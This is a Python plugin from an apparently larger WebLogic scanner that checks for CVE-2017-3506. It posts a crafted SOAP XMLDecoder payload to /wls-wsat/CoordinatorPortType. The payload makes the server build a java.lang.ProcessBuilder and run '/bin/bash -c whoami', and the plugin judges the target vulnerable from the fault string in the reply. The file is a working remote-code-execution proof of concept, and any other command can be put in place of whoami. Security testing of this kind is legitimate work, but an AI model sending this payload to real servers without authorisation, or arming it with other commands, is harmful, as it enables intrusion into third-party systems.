#!/usr/bin/env python
# _*_ coding:utf-8 _*_

import sys
import requests
import re
import logging

from ..platform import ManageProcessor,Color

logging.basicConfig(filename='Weblogic.log',
                    format='%(asctime)s %(message)s',
                    filemode="w", level=logging.INFO)

VUL=['CVE-2017-3506']
headers = {'user-agent': 'ceshi/0.0.1','content-type': 'text/xml'}

poc_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java>
        <object class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>whoami</string>
            </void>
          </array>
          <void method="start"/>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
'''


@ManageProcessor.plugin_register('CVE20173506')
class CVE20173506(object):
    def process(self,ip,port):
        self.run(ip,port,0)

    def poc(self,url,index):
        if not url.startswith("http"):
            url = "http://" + url
        if "/" in url:
            url += '/wls-wsat/CoordinatorPortType'

        try:
            response = requests.post(url, data=poc_str, verify=False, timeout=5, headers=headers)
            response = response.text
            response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
        except Exception:
            response = ""

        if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
            logging.info('[+]The target weblogic has a JAVA deserialization vulnerability:{}'.format(VUL[index]))
            print(Color.OKBLUE+'[+]The target weblogic has a JAVA deserialization vulnerability:{}'.format(VUL[index])+Color.ENDC)
            print(Color.OKGREEN+'[+]CVE-2017-3506 漏洞存在'+Color.ENDC)
        else:
            logging.info('[-]Target weblogic not detected {}'.format(VUL[index]))
            print(Color.FAIL+'[-]Target weblogic not detected {}'.format(VUL[index])+Color.ENDC)


    def run(self,rip,rport,index):
        url=rip+':'+str(rport)
        self.poc(url=url,index=index)
